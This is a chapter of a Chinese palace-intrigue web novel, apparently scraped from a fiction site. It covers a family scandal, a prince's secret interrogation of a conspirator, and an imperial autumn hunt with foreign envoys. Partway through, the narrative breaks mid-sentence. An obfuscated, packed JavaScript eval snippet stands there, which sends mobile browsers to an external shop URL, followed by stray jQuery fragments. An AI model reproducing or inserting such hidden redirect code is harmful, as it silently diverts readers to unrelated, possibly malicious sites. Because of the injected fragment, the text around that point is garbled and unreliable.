文趣网 > 其他小说 > 清宫福晋嫁一送一 > 39. 契丹王安
    送走时序,殊宁稳下心神,细细把这个惊天秘密在脑海中翻来覆去思考了半日,终于想通了其中的关窍。

    二哥迷恋索绰罗氏,倘若她早与大哥勾搭在一起,大哥与主支关系又并不亲近,想靠索绰罗氏做些什么自是轻而易举,比如做局陷害嫡兄。

    既如此,殊宁顺着二少夫人这条线索细查下去,最终查出了真相——二哥确实被大哥所蛊惑,对妻子索绰罗氏的话深信不疑。

    但当他们问起为何所求千里眼此宝,大哥惊策闪烁其词,只道是等待一个机会蛰伏,希望在战场上再夺一个出其不意的军功。

    此事事关重大,殊宁不能私藏,稍加整理圈点后将事情经过交给了父亲,而母亲庄氏那里同样收到了一份。

    看在长子屡立战功、态度谦卑的份上,钮钴禄将军不愿深究,帮忙遮掩了这件事,只要求他长居军营,非节庆之日不允回府。

    生母去世、嫡母冷落,大哥在这府里从来没什么亲情可言。

    这一走,也乐得自在。

    但他的情人可就没那么舒坦了。

    尽管殊宁掩去了他们罔顾人伦的情分,庄氏也一眼便看出长子诓骗的手段。

    只恨这个女人不是着了他的道,而是自愿献上去,差点谋害了她的儿子。

    顾在二少夫人娘家的权势地位下,庄氏不能谈休妻和离一事,对方一闹,她还得小心地继续把人供起来。

    但深闺内院,从来不会少折磨人的手段。

    庄氏收回了二少夫人的出府令牌,对她在府上的活动不做限制,但绝不允许她再踏出府门半步。

    并且以二少爷忧思成疾为由,同时往他院里塞了两房人,将军门客之女燕氏与掌柜女儿张氏。

    一个是将门出身,样貌明媚、活泼开朗,另一个是自己陪嫁铺子的掌柜独女,清丽可人、蕙质兰心。

    加上商氏的温柔体贴,定能将儿子在索绰罗氏身上的注意力抢走,庄氏再不想看儿子整日伤感儿媳负他的绝望模样。

    菊月辞叶,知秋长。

    殊宁坐在院子里等啊等,等到蘅芜上的雀儿结了伴,终于等到了官府亲自来报的京中旨意。

    她以为是九爷对千里眼一局的回信,却万万没想到这道明黄旨意像一把刀子,悬在全家人的性命之上——皇帝要亲自召见钮钴禄将军,命其携妻女与妾骆氏速速入京。

    半个月前,京城。

    看着香炉中纸张被烧燃起的星火,九爷脸上不自觉出现一抹寻幽入微的笑意,他对殊宁这次办的事满意极了。

    只是他虽回到了自己府上,也同样是羊入虎口,亲身回到了血流成河的权力漩涡中心。

    他露出鄙夷的神色,指尖又捏起新一张纸片,随手一甩丢进炉中也要烧掉它。

    “烧掉,烧烂,烧尽。这‘岁寒会’怎么哪儿哪儿都有它……?”

    去岁中秋、五嫂假孕、八哥制丹,样样追查到最后都有岁寒会的手笔。

    这次十弟叛乱,能在其中同样找到岁寒会的名字,简直给了九爷一种见怪不怪的习惯感。

    不过岁寒会算不上这次的主角,他冷眼瞧着案台上堆成小山的卷宗,神色渐渐冰冷下来。

    真是出乎意料啊——沈通竟也参与了十皇子策反篡位一事,并且赫然在出力主军一列。

    他起身在身后书柜操作一番,检查无误后拉上暗门,点了烛台继续朝着密室深处走去,书房内恢复如初。

    “殿下这是做什么?派人这样把臣请来,这可不是什么好主家的待客之道不是吗。”

    沈通依旧一身青衣,双手吊在刑架之上。背后是一方小窗,光影暗暗地洒进来,照亮了他身上残缺的衣饰。

    不过那并不是九爷派人弄的。

    准确来说,九爷只是把他吊在这里罢了,那破碎的衣裳完全是沈通挣扎时磨坏的。

    “请沈公子给我解释一下这是什么。”

    沈通看着对方用力甩在他身上的条条罪证,并未露出任何挑衅的神情,而是不解地直面九爷。

    “帮皇子谋反啊。”

    “怎么?”

    “他能欺兵投敌、逼得我祖父自缢,我就不能让你们皇家不得安宁吗!”

    将沈通临近崩溃的怒吼尽收眼底,九爷不怒反笑,知道对方现在的状态多说无益,便背过身去,偏着头垂眸看向地面。

    “这次东西我帮你销毁,之后再走邪道……我劝你好自为之。”

    “我既能从皇帝手底救你出来,也能把你从外头的自由人间拉回来。要不要重回暗狱见恶鬼,看你自己。”

    沈通被绑来后一日未曾进食,浑身已没什么力气,抬眸看了他一眼,用尽最后的力气扯动了铁链。

    “哐哧”声响,似是表达自己强烈的不认同。

    在九爷的身影消失在他视线之外后,有人来为他解了禁,沈通认得此人,是九爷身边的陈大人。

    陈最替他松了绑,又贴心地搀扶着人一同向外走去。

    “沈大人,下次做事……唉,我们殿下也有苦衷,您对陛下言明,他会帮您的。”

    沈通从未相信九殿下作为亲生子会对生父真心仇视,倒想问他们葫芦里卖的什么药,却被暗室外溢出的阳光闪了一下眼睛。

    待再睁眼,映入眼帘的便是一盘吃食——简简单单的桃酥和皂儿水,在金光照耀下波光粼粼。

    “殿下交代吃完送您回去。沈大人,属下在外头等您哈!”

    ……

    金秋九月,往年若是天家有意,便专挑这个时候办的秋猎。

    只是这两年皇帝有心无力,停办了许久,若非邻国使者来访,想来今年也是不会办的。

    金风卷旌旗,猎鼓震平川。

    皇室众妃、皇子公主多一同伴驾,浩浩荡荡地前往了皇家猎场。

    草地上一顶顶扎好的营帐,无一不特意装点过,正是彰显了我朝经济与艺术的强盛。

    “哈哈,大清国力雄厚,今日一见果然名不虚传。”

    说话的人穿着一身鞣制深色兽皮,护腕上折射出磨损的痕迹,整个人像一头蓄势待发的猛禽。

    这位元殷使者,是当

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768873|209836||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    地最大部落的首长,如今元殷可汗的大妃正是出自他家。

    此时他正被元殷侍女们簇拥其中,嬉笑连连,那倒在侍女体肤上的美酒如同火把般点燃了我朝文武百官的怒火。

    居于高位的皇帝和善一笑,眼底掩去了浮起的不满。

    元殷战败,他们的使者竟还敢不穿朝见的正式礼服,反而全然一副不甘心的匪气。

    果然,元殷使者话锋一转:“大清帝霸气天成,不知此番可会亲自下场,一展身手啊?”

    皇帝力不从心停办秋猎一事,近年来宗室都心知肚明,这元殷使者如此冒昧言语,不是在挖坑是什么?

    拿意气风发的儿子们去讽刺年老的父亲,卑鄙做派!

    皇帝的鼻子里窜出冷气,显然有了怒气,但让他亲自回怼可就失了高高在上的脸面。

    他眼神一扫,身旁的九阿哥就立刻端正了身子,正欲开口“提点”元殷使者。

    “陛下龙生九子,如今均以长成。臣斗胆猜测,此次秋猎的主角当是继承了您龙气威仪的皇子们吧!”

    众人闻声循去,没想到主动为两方解围的竟是契丹王。

    契丹同样与我朝接壤,离元殷不过一河之隔,更重要的是,契丹地处中原与其余小国之间。若关系得当,可作防守之用。

    因其族人英勇善战,多年来都能很好地守护国土,从未被哪个异族攻打成功过。

    直到先帝即位,契丹王族突然派了人来议商,从此开通了边市商贸线,两国交好。

    当年的条议上明确写明,两国只作经贸互助关系,战事上无论外侵内御均不干涉。

    所以多年来元殷在西北地区的冒犯,契丹只是一个旁观者,从不出手相助过。

    但今年不知怎么的,听闻元殷作为战败国要进入中原议和,契丹竟也眼巴巴地一道奏折言明要同时来访。

    来就来吧,还来的是作为一国之首的契丹王本人。

    契丹王双鹤尔此刻坐在皇帝左手下方的席上,手握一盏美酒转圈,野外的光影从他的酒杯上不断折射变化,映出了他纱衣下的薄肌透理。

    那是一件孔雀蓝缠枝纹纱衣,可能是契丹人体格强健,已是九月天仍不怕冷,露出的铜臂刻有图腾。

    赤金项钏套于脖上,风吹起缠有银铃的发辫,最醒目的赫然是那双如大漠孤烟的眼眸。

    接到九阿哥感谢的目光,契丹王抬手虚扶了一下酒杯以示回意,而后微微一笑不再多言。

    席上恢复如初,很快,外场一切就绪。

    邢国泰躬身跑到皇帝身边耳语片刻,皇帝便接过金樽高举,俯瞰列阵诸军于皇子,朗声宣于众人:“秋猎乃告慰山川社稷之大典,今令诸皇子代朕巡猎。”

    “看尔等少年意气,谁能箭破长空,不堕我皇室威仪。”

    顷刻间,鼓声大作,旌旗翻卷,诸皇子策马而出。二爷、七爷等人只在营地周边绕圈,并不作攒劲冲锋之意。

    而五爷与九爷在看到十弟首当其冲、一路向西之后,相顾无言,作势比猎,实则紧跟其后,步步为营。